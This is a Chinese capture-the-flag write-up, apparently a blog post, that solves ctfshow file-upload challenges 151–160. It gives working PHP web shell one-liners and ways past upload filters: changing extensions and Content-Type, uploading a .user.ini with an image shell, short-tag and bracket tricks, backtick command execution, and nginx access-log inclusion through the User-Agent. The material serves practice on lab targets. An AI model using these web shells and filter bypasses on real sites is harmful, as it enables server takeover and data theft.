ctfshow学习记录-web入门(文件上传151-160)

建议文件上传的题一口气肝完。burp抓包直接修改url,就可以重复使用,省事。


web151

提示:前台校验不可靠
解答:有个前台的后缀校验,修改上传文件的后缀为png,抓包修改后缀即可。
在这里插入图片描述

上传成功,可以蚁剑连接,或者是post执行php语句也可以。
jz=system('cat ../flag.php');


web152

提示:后端不能单一校验
解答:还是改后缀,抓包修改上传。直接成功,都不知道最后限制的什么。。。测试了一下,限制的是Content-Type。
在这里插入图片描述

之后蚁剑或者post。


web153

提示:后端不能单一校验
解答:本次后端对上传后缀进行了限制。

后缀修改后为php扩展phtml等后缀,或者改后缀大小写,都可上传,但不可使用,post不被允许。

经过测试可知,本题是设置了黑名单。考虑上传.htacess或者.user.ini
先测试一下,看看上传目录下是否有php文件,访问/upload,有页面,应该是有个index.php页面。
上传.user.ini
在这里插入图片描述

再上传图片马。然后蚁剑连接/upload/index.php,或者post。
在这里插入图片描述


web154-145

题示:154-后端不能单二校验;155-后端不能单三校验
解答
154:这次后缀黑名单过滤比较多,用图片马吧。
这次增加了内容校验,不能有php。那么就使用短标签绕过。
(155的三个校验,应该是后缀、type、和内容。方法都是短标签绕过)
在这里插入图片描述

Use of undefined constant- assumed……
php7.2及以上版本时报此错误,规定了常量的命名方式,需要带引号。

不加单引号会报错,但不影响执行命令。

再上传.user.ini,访问index.php页面,请注意路径加上index.php。
在这里插入图片描述


web156

题示:后端不能单四校验
解答:后缀有黑名单、type、和内容(两个校验)。

上题的payload不行了,清空上传内容是可以上传成功的,所以还是内被过滤。
因为上传的php语句就一句话,所以逐个字符测试了一下,发现了是前中括号[被过滤了,改成大括号就行。

<?=eval($_POST{'jz'});?>
在这里插入图片描述

上传<? eval($_POST['jz']);?> 也是可以的,本题应该是配置了参数short_open_tags=on


web157-159

题示:157-后端不能单五校验;158-后端不能单六校验
解答
157:过滤了分号;、前大括号{。那就直接让它执行命令回显吧。

158:过滤了log,这个log在下面web160会用到,当然本题也可以用。

159:过滤了(

#157-158可适用:
<?=system('tac ../f*')?>

#157-159均适用:
<?=`ls`?>
<?=`tac ../f*`?>

在这里插入图片描述

记得上传.user.ini。我开始忘了上传,一直没出结果。。。。
在这里插入图片描述


web160

解答:空格、反引号被过滤了。这直接把命令执行相关的函数和方法给限制了。
没有关系,还有文件包含,include可以不用括号,中间也可以不用空格。

还记得web38和web80用到的日志包含吗?这道题就用日志包含。

没想到log竟然也被过滤,还好可以字符串拼接。
<?=include"/var/l"."og/nginx/access.lo"."g"?>

记得访问一下/upload/index.php,看看有没有包含成功。

接下来就是传输php语句,可以url地址上get传,或者在User-Agent上传。
在这里插入图片描述

之后就是蚁剑连接,或者post了。
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值